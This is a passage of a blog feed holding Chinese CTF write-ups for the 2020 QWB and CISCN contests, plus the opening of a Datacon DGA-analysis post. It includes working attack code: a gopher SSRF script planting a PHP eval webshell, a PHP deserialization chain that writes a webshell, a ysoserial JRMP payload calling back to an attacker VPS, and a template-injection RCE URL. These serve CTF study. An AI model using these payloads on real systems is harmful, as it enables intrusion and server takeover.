$age,$sex,$num;</span><br><span class="line">   <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$age,$sex,$num</span>)</span></span><br><span class="line"><span class="function">   </span>&#123;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;age = $age;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;sex = $sex;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;num = $num;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line">$b = <span class="keyword">Array</span>(<span class="keyword">new</span> User(<span class="keyword">new</span> Pass(),<span class="string">&#x27;read&#x27;</span>,<span class="string">&#x27;result&#x27;</span>),<span class="keyword">new</span> User(<span class="keyword">new</span> Pass(),<span class="string">&#x27;read&#x27;</span>,this));</span><br><span class="line"><span class="keyword">print</span> serialize($b);</span><br></pre></td></tr></table></figure><p><img src="/2020/08/28/2020-qwb/siixUdLyyYA0CgPrTYcrTGW7orUlSYJJg_fLnLixhR_ier_T5Vp-2Zmy_YK-LFgk2KQdudUfObrsfGQ9BPvh1F2kNp1AD_k_Wul3pWavrviitU88vtT9inzmxINfW0MlV4kBPqq0.png" alt="img"></p><p>Url二次编码读flag不成功，然后发现40000端口开着web服务，html代码就post一个file和content，应该是写文件。接下来就是写shell了，写了三个多小时。。。疯狂尝试，发现有WAF，所以用php://filter/convert.base64-decode/resource 搭配base64编码来写，但是貌似过滤了=这些，凑了个没有=的payload。而且文件不是直接写到uploads目录，访问index.php返回一个set-cookie,是写到了PHPSESSID的值对应的文件夹下，所以gopher发包要指定PHPSESSID，这个坑了很久。。生成gopher payload的脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line">exp=<span class="string">&#x27;&#x27;&#x27;POST / HTTP/1.1</span></span><br><span class="line"><span class="string">Host: 172.26.98.147</span></span><br><span class="line"><span class="string">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0</span></span><br><span class="line"><span class="string">Accept: */*;</span></span><br><span class="line"><span class="string">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span></span><br><span class="line"><span class="string">Cookie: PHPSESSID=gml</span></span><br><span class="line"><span class="string">Connection: close</span></span><br><span class="line"><span class="string">Content-Type: application/x-www-form-urlencoded</span></span><br><span class="line"><span class="string">Content-Length: 95</span></span><br><span class="line"><span class="string"> </span></span><br><span class="line"><span class="string">file=php://filter/convert.base64-decode/resource=gml.php&amp;content=PD89QGV2YWwoJF9HRVRbMl0pOz8%2b&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="comment"># print exp.split(&quot;\n&quot;)</span></span><br><span class="line">tmp = urllib.quote(exp)</span><br><span class="line">tmp = tmp.replace(<span class="string">&quot;%0A&quot;</span>,<span class="string">&quot;%0D%0A&quot;</span>)</span><br><span class="line"> </span><br><span class="line">result = <span class="string">&quot;_&quot;</span>+urllib.quote(tmp)</span><br><span class="line"> </span><br><span class="line">result=<span class="string">&quot;gopher://172.26.98.147:40000/&quot;</span>+result</span><br><span class="line"><span class="built_in">print</span> result</span><br></pre></td></tr></table></figure><p>打过去：</p><p><img src="/2020/08/28/2020-qwb/nTFCbNjiuJVHnGXR8vO8p_hnw8wsgB44Hk3gjrbQYEVFEx1rYUMWP9UjIEmDYqQRo8fC3Q-zkoPiBcOY7qs37kmP3JKvklZkh1_5gLpx275KceTenCp89k1s1KVQuYAurHMFQwfh.png" alt="img"></p><p>可以 getshell：</p><p><img src="/2020/08/28/2020-qwb/vISYtt8fRrUQCho2750osAU6hqwZbV7_SUbI0hlWzE-YX_EqfbIXwLCASw-BmITL1Dq31AQbg3erETg5H9Mixh4l9Bn8SVNajF1ZdSHTaEJVldYycZ9gGQw2T2kb4tRoxO28fXf8.png" alt="img"></p><h3 id="Dice2cry"><a href="#Dice2cry" class="headerlink" title="Dice2cry"></a>Dice2cry</h3><p>向abi.php发了post请求，没有其他功能，试一下源码泄漏，abi.php.bak有源码。abi.php里是一个类似RSA parity oracle的东西，但是他需要 $_POST[‘this_is.able’] 来设置密文经尝试，用 this[is.able 可以绕过 php 对 . 的过滤</p><p>贴上队友 mcfx 大佬的脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">cookie=<span class="string">&#x27;PHPSESSID=0ctstv9ecqte01n2nkj8fi8744; encrypto_flag=79113663305747837143444307328467025244358133313438256571587025766714023427438759740177304646998782229997099583059263540140676001606304937372556988230412073815119853730057831488053981148795567089107250487727369425980217048609105153253967274624991296087058702050452905877610820679017736577755477024222115641775; public_n=8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157; public_e=010001&#x27;</span></span><br><span class="line">hd=&#123;<span class="string">&#x27;cookie&#x27;</span>:cookie&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getval</span>(<span class="params">x</span>):</span></span><br><span class="line">dt=&#123;<span class="string">&#x27;this[is.able&#x27;</span>:x&#125;</span><br><span class="line">r=requests.post(<span class="string">&#x27;http://106.14.66.189/abi.php&#x27;</span>,headers=hd,data=dt)</span><br><span class="line"><span class="keyword">return</span> r.json()[<span class="string">&#x27;num&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> cookie.split(<span class="string">&#x27;; &#x27;</span>):</span><br><span class="line">a,b=i.split(<span class="string">&#x27;=&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> a==<span class="string">&#x27;encrypto_flag&#x27;</span>:</span><br><span class="line">enc_flag=<span class="built_in">int</span>(b)</span><br><span class="line"><span class="keyword">elif</span> a==<span class="string">&#x27;public_n&#x27;</span>:</span><br><span class="line">n=<span class="built_in">int</span>(b,<span class="number">16</span>)</span><br><span class="line"><span class="keyword">elif</span> a==<span class="string">&#x27;public_e&#x27;</span>:</span><br><span class="line">e=<span class="built_in">int</span>(b,<span class="number">16</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">assert</span> getval(<span class="number">0</span>)==<span class="number">0</span></span><br><span class="line"></span><br><span class="line">flag3=getval(enc_flag)</span><br><span class="line">n3=n%<span class="number">3</span></span><br><span class="line">curn=<span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> pos <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000</span>):</span><br><span class="line">a=<span class="number">3</span>**(pos+<span class="number">1</span>)</span><br><span class="line">b=<span class="built_in">pow</span>(a,e,n)</span><br><span class="line">t3=getval(enc_flag*b%n)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line"><span class="keyword">if</span> (flag3*a-n3*(curn*<span class="number">3</span>+i))%<span class="number">3</span>==t3:</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">curn=curn*<span class="number">3</span>+i</span><br><span class="line">l=curn*n//a</span><br><span class="line">r=(curn*n+n<span class="number">-1</span>)//a</span><br><span class="line">print(pos,l,r)</span><br><span class="line"><span class="keyword">if</span> l+<span class="number">1</span>==r:</span><br><span class="line">print(r.to_bytes(<span class="number">100</span>,<span class="string">&#x27;big&#x27;</span>))</span><br><span class="line">exit()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="easy-java"><a href="#easy-java" class="headerlink" title="easy_java"></a>easy_java</h3><p>Jdk 1.8，反序列化前有WAF。可以用ysoserial.exploit.JRMPListener CommonsCollections7打（6和7应该都可以），为了逃避检测，使用JRMP模拟RMI Client反打，参考：<a href="https://tiaotiaolong.net/2020/04/12/JRMPListener-&&-JRMPClient使用小记/">https://tiaotiaolong.net/2020/04/12/JRMPListener-&amp;&amp;-JRMPClient%E4%BD%BF%E7%94%A8%E5%B0%8F%E8%AE%B0/</a>命令执行卡了很久，好像不能有引号，sh -c 后面的命令空格用${IFS}也死活不行，最后参考<a href="https://chybeta.github.io/2017/08/15/命令执行的一些绕过技巧/">https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/</a>，用$IFS$9才可以。。。测试的时候每次还需要换端口，一个端口第二次就不好用了，没有回连。Vps 上执行：</p><p><img src="/2020/08/28/2020-qwb/mx6vGXjZXUUflp5AP0Z0WvoOtC5ZqvWK6uTonALgu4hge9t9ICuU2ddWXRjjfExkb189jfdGr7utxt0CRxTxH8Ie8nwG61orWAHMTptSErbdA_pJv7Fm7FFCA3TpovnWcR86eEFO.png" alt="img"></p><p>开启server，然后本地生成payload：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar ysoserial-master-30099844c6-1.jar JRMPClient <span class="string">&#x27;vps:5562&#x27;</span> &gt; payload</span><br></pre></td></tr></table></figure><p>然后本地再打过去，触发反序列化:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> urllib <span class="keyword">import</span> quote</span><br><span class="line">proxy = &#123;<span class="string">&#x27;http&#x27;</span>:<span class="string">&quot;http://127.0.0.1:8080&quot;</span>&#125;</span><br><span class="line">exp = <span class="built_in">open</span>(<span class="string">&#x27;payload&#x27;</span>,<span class="string">&#x27;r&#x27;</span>).read()</span><br><span class="line"> </span><br><span class="line">requests.post(<span class="string">&quot;http://39.101.166.142:8080/jdk_der&quot;</span>,data=exp,proxies=proxy)</span><br></pre></td></tr></table></figure><p>访问日志:</p><p><img src="/2020/08/28/2020-qwb/1.png" alt="img"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;打完强网杯就去学校报道了，抽空补一下wp。&lt;/p&gt;
&lt;h3 id=&quot;强网先锋-辅助&quot;&gt;&lt;a href=&quot;#强网先锋-辅助&quot; class=&quot;headerlink&quot; title=&quot;强网先锋-辅助&quot;&gt;&lt;/a&gt;强网先锋-辅助&lt;/h3&gt;&lt;p&gt;反序列化逃逸，参考&lt;a href=&quot;https://m0nit0r.top/2020/02/05/object-injection-caused-by-PHP-string-escape/#Joomla逃逸&quot;&gt;https://m0nit0r.top/2020/02/05/object-injection-caused-by-PHP-string-escape/#Joomla%E9%80%83%E9%80%B8&lt;/a&gt;再加上绕过wakeup，以及反序列化中使用大写S可用十六进制表示的一些绕过方式。&lt;/p&gt;
&lt;p&gt;需要注意调试的时候最好url编码，直接echo \0 无法显示，算覆盖长度的时候容易出错。&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="wp" scheme="https://igml.top/categories/CTF/wp/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>2020 ciscn 初赛 writeup</title>
    <link href="https://igml.top/2020/08/21/2020-ciscn/"/>
    <id>https://igml.top/2020/08/21/2020-ciscn/</id>
    <published>2020-08-21T02:28:13.000Z</published>
    <updated>2020-08-21T02:56:10.506Z</updated>
    
    <content type="html"><![CDATA[<p>这国赛五个 Web 加起来不到200分，真实。</p><a id="more"></a><h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="easyphp"><a href="#easyphp" class="headerlink" title="easyphp"></a>easyphp</h3><p>需要通过 call_user_func_array 触发子进程崩溃，进到父进程里。</p><p><code>?a=stream_socket_server</code></p><p>（这是啥 Web 题…）</p><h3 id="babyunserialize"><a href="#babyunserialize" class="headerlink" title="babyunserialize"></a>babyunserialize</h3><p>看到 fatfree，想到了 WMCTF 那个webweb，diff一下发现把原来那个链子 insert 方法给注释了，再找个别的，找到了\DB\jig 下的mapper类：</p><p><img src="/2020/08/21/2020-ciscn/image-20200821103709773.png" alt="image-20200821103709773"></p><p>改一下exp，可以RCE，system一下发现被ban了，想办法先写个shell，不过这个call_user_func_array用起来比较难受。</p><p><img src="/2020/08/21/2020-ciscn/image-20200821103823717.png" alt="image-20200821103823717"></p><p>再看一下diff结果，发现 insert 方法竟然多了 write操作：</p><p><img src="/2020/08/21/2020-ciscn/image-20200821103418678.png" alt="image-20200821103418678"></p><p>直接写 shell 就好了：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">DB</span>\<span class="title">Jig</span> &#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">Mapper</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title">protected</span> $<span class="title">db</span>;</span><br><span class="line">        <span class="keyword">protected</span> $file = <span class="string">&#x27;gmmml.php&#x27;</span>;</span><br><span class="line">        <span class="keyword">protected</span> $document = <span class="string">&#x27;&lt;?php @eval($_POST[gml]);?&gt;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$db</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;db = $db;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">DB</span> &#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">Jig</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title">protected</span> $<span class="title">format</span> = 0;</span><br><span class="line">        <span class="keyword">protected</span> $dir = <span class="string">&#x27;./&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">CLI</span> &#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">Agent</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title">protected</span> $<span class="title">server</span>;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$server</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;server = $server;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">WS</span></span></span><br><span class="line"><span class="class">    </span>&#123;</span><br><span class="line">        <span class="keyword">protected</span> $events;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$events</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;events = $events;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> &#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">F3</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title">public</span> $<span class="title">events</span>;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$events</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;events = $events;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    $a = <span class="keyword">new</span> DB\Jig();</span><br><span class="line">    $b = <span class="keyword">new</span> DB\Jig\Mapper($a);</span><br><span class="line">    $c = <span class="keyword">new</span> F3(<span class="keyword">array</span>(<span class="string">&#x27;disconnect&#x27;</span> =&gt; <span class="keyword">array</span>($b, <span class="string">&quot;insert&quot;</span>)));</span><br><span class="line">    $d = <span class="keyword">new</span> CLI\Agent($c);</span><br><span class="line">    $e = <span class="keyword">new</span> CLI\WS($d);</span><br><span class="line">    <span class="keyword">echo</span> urlencode(serialize($e));</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>拿到shell，把 PHP7 那个绕过 disable_function 的脚本搞上去就好了。</p><h3 id="RCEME"><a href="#RCEME" class="headerlink" title="RCEME"></a>RCEME</h3><p><a href="https://www.anquanke.com/post/id/212603#h2-9">https://www.anquanke.com/post/id/212603#h2-9</a>，最后一个 exp 直接打。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;eci-2ze2t1c804gx8zlnp248.cloudeci1.ichunqiu.com&#x2F;?a&#x3D;&#123;if:(implode(%27%27,%20[%27c%27,%27a%27,%27l%27,%27l%27,%27_%27,%27u%27,%27s%27,%27e%27,%27r%27,%27_%27,%27f%27,%27u%27,%27n%27,%27c%27])(implode(%27%27,[%27s%27,%27y%27,%27s%27,%27t%27,%27e%27,%27m%27]),%27cat%20&#x2F;flag%27))&#125;&#123;end%20if&#125;</span><br></pre></td></tr></table></figure><h3 id="littlegame"><a href="#littlegame" class="headerlink" title="littlegame"></a>littlegame</h3><p>搜一发这个set-value 原型链污染：<a href="https://snyk.io/vuln/SNYK-JS-SETVALUE-450213">https://snyk.io/vuln/SNYK-JS-SETVALUE-450213</a>。</p><p>直接打：</p><p><img src="/2020/08/21/2020-ciscn/image-20200821104630661.png" alt="image-20200821104630661"></p><p><img src="/2020/08/21/2020-ciscn/image-20200821104643227.png" alt="image-20200821104643227"></p><h3 id="easytrick"><a href="#easytrick" class="headerlink" title="easytrick"></a>easytrick</h3><p>想办法绕过 md5，开始的思路是通过类，不过exception和error类 __toString 长度太长了，没法绕过。后来发现 INF 可以绕过，INF 变成字符串后是 “INF”，md5 时会转成字符串”INF”，所以相等。而 (string)INF != INF，可以绕过。</p><p><img src="/2020/08/21/2020-ciscn/image-20200821105029180.png" alt="image-20200821105029180"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">trick</span></span>&#123;</span><br><span class="line">   <span class="keyword">public</span> $trick1=INF;</span><br><span class="line">   <span class="keyword">public</span> $trick2=INF;</span><br><span class="line">&#125;</span><br><span class="line">$a = <span class="keyword">new</span> trick();</span><br><span class="line">var_dump((<span class="keyword">string</span>)$a-&gt;trick1);</span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize($a));</span><br></pre></td></tr></table></figure><h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><h3 id="lfsr"><a href="#lfsr" class="headerlink" title="lfsr"></a>lfsr</h3><p>恢复 mask，100个方程，解方程即可。</p><p>Python 解方程脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_mask</span>(<span class="params">stream</span>):</span></span><br><span class="line">    dim = <span class="number">100</span></span><br><span class="line">    magic = [<span class="built_in">map</span>(<span class="built_in">int</span>, <span class="built_in">list</span>(stream[i:i + <span class="number">100</span>])) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">100</span>)]</span><br><span class="line">    cipher = <span class="built_in">map</span>(<span class="built_in">int</span>, <span class="built_in">list</span>(stream[<span class="number">100</span>:]))</span><br><span class="line">    <span class="keyword">assert</span> <span class="built_in">len</span>(cipher) == <span class="number">100</span></span><br><span class="line">    <span class="comment"># 高斯消元</span></span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(dim):</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(j, dim):</span><br><span class="line">            <span class="keyword">if</span> magic[i][j] == <span class="number">1</span>:</span><br><span class="line">                magic[i], magic[j] = magic[j], magic[i]</span><br><span class="line">                cipher[i], cipher[j] = cipher[j], cipher[i]</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(dim):</span><br><span class="line">            <span class="keyword">if</span> magic[i][j] == <span class="number">1</span> <span class="keyword">and</span> i != j:</span><br><span class="line">                <span class="keyword">for</span> k <span class="keyword">in</span> <span class="built_in">range</span>(dim):</span><br><span class="line">                    magic[i][k] ^= magic[j][k]</span><br><span class="line">                cipher[i] ^= cipher[j]</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">int</span>((<span class="string">&#x27;&#x27;</span>.join(<span class="built_in">map</span>(<span class="built_in">str</span>, cipher)))[::<span class="number">-1</span>], <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">data = <span class="built_in">open</span>(<span class="string">&quot;output.txt&quot;</span>, <span class="string">&quot;r&quot;</span>).read(<span class="number">200</span>).strip()</span><br><span class="line"><span class="built_in">print</span> get_mask(data)</span><br></pre></td></tr></table></figure><p>也可以用sage解希尔密码的方法直接解（异或相加可以对应乘法相加模2）：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">stream = <span class="built_in">open</span>(<span class="string">&quot;output.txt&quot;</span>, <span class="string">&quot;r&quot;</span>).read(<span class="number">200</span>).strip()</span><br><span class="line">A = [<span class="built_in">map</span>(<span class="built_in">int</span>, <span class="built_in">list</span>(stream[i:i + <span class="number">100</span>])) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">100</span>)]</span><br><span class="line">res = <span class="built_in">map</span>(<span class="built_in">int</span>, <span class="built_in">list</span>(stream[<span class="number">100</span>:]))</span><br><span class="line">R = IntegerModRing(<span class="number">2</span>)</span><br><span class="line">A = Matrix(R,A)</span><br><span class="line">res = vector(R,res)</span><br><span class="line">ans = A.solve_right(res)</span><br><span class="line">print(<span class="built_in">int</span>((<span class="string">&#x27;&#x27;</span>.join(<span class="built_in">map</span>(<span class="built_in">str</span>, <span class="built_in">list</span>(ans))))[::<span class="number">-1</span>], <span class="number">2</span>))</span><br></pre></td></tr></table></figure><h3 id="bd"><a href="#bd" class="headerlink" title="bd"></a>bd</h3><p>d 较小，Boneh_Durfee 攻击。</p><p><a href="https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage">https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这国赛五个 Web 加起来不到200分，真实。&lt;/p&gt;</summary>
    
    
    
    <category term="ciscn" scheme="https://igml.top/categories/ciscn/"/>
    
    <category term="CTF" scheme="https://igml.top/categories/ciscn/CTF/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="ciscn" scheme="https://igml.top/tags/ciscn/"/>
    
  </entry>
  
  <entry>
    <title>2020 Datacon 大数据安全分析比赛部分题目 内测笔记</title>
    <link href="https://igml.top/2020/08/16/2020-Datacon/"/>
    <id>https://igml.top/2020/08/16/2020-Datacon/</id>
    <published>2020-08-16T14:27:26.000Z</published>
    <updated>2020-08-17T02:38:40.432Z</updated>
    
    <content type="html"><![CDATA[<p>去年参加了Datacon DNS恶意流量方向的比赛，拿了第五，差点拿到奖orz，今年参加了部分赛题的内部评估，以下是做题记录。</p><a id="more"></a><h1 id="DNS-恶意域名分析题目一-种子寻找记之DGA算法分析"><a href="#DNS-恶意域名分析题目一-种子寻找记之DGA算法分析" class="headerlink" title="DNS 恶意域名分析题目一-种子寻找记之DGA算法分析"></a>DNS 恶意域名分析题目一-种子寻找记之DGA算法分析</h1><h2 id="赛题信息"><a href="#赛题信息" class="headerlink" title="赛题信息"></a>赛题信息</h2><h3 id="设计说明"><a href="#设计说明" class="headerlink" title="设计说明"></a>设计说明</h3><p>DGA（Domain generation algorithm，域名生成算法）是一种利用特定种子字符，结合加密算法，进而生成一系列伪随机恶意域名的方法。恶意软件可使用DGA逃避域名黑名单的检测。</p><p>本题中，选手需从给定的DGA样本中通过逆向分析发现其中存在的DGA算法。通过对DGA算法的分析，根据给出的同算法但不同种子生产的域名获得新的种子，最终给出使用新种子生产的所有域名。</p><h3 id="数据说明"><a href="#数据说明" class="headerlink" title="数据说明"></a>数据说明</h3><ul><li>sample1.exe、sample2.exe、sample3.exe，不同DGA算法的三个样本</li><li>20200510_domains1.txt、20200510_domains2.txt、20200510_domains3.txt，各样本对应的同算法但不同种子的样本生产的域名，若算法时间相关，则生产时间为2020年5月10日</li></ul><h3 id="提交形式"><a href="#提交形式" class="headerlink" title="提交形式"></a>提交形式</h3><p>选手提交3个txt文件，提交文件的命名规则和内容如下：</p><ul><li><p>domains1.txt</p><p>使用sample1.exe中算法和新种子生产的算法规定个数的域名。每个域名一行。</p></li><li><p>domains2.txt</p><p>使用sample2.exe中算法和新种子生产的算法规定个数的域名。每个域名一行。</p></li><li><p>domains3.txt</p><p>使用sample3.exe中算法和新种子生产的算法规定个数的域名。每个域名一行。</p></li></ul><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><p>这个题主要是考察基本逆向+算法分析，之前也没做过逆向，这次正好算是入了门，踩了挺多逆向的坑…</p><h3 id="sample1"><a href="#sample1" class="headerlink" title="sample1"></a>sample1</h3><p>IDA打开，找不到main函数，文本模式下搜main，找到入口函数：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl 